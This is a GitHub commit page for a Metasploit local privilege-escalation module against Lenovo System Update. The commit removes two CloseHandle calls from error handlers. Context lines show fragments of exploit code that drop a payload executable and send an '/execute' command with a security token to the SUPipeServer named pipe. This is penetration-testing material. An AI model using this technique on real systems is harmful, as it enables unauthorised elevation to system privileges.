Skip to content

Commit acb053a

Browse files
committed
CloseHandle cleanup
1 parent e075495 commit acb053a

File tree

1 file changed

+0
-2
lines changed

1 file changed

+0
-2
lines changed

modules/exploits/windows/local/lenovo_systemupdate.rb

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -168,7 +168,6 @@ def exploit
168168
write_file(exe_name, generate_payload_exe)
169169
register_file_for_cleanup("#{write_path}\\#{exe_name}")
170170
rescue Rex::Post::Meterpreter::RequestError
171-
session.railgun.kernel32.CloseHandle(handle)
172171
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
173172
end
174173

@@ -177,7 +176,6 @@ def exploit
177176
begin
178177
write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
179178
rescue Rex::Post::Meterpreter::RequestError
180-
session.railgun.kernel32.CloseHandle(handle)
181179
fail_with(Failure::Unknown, 'Failed to write to pipe')
182180
end
183181

0 commit comments

Comments
 (0)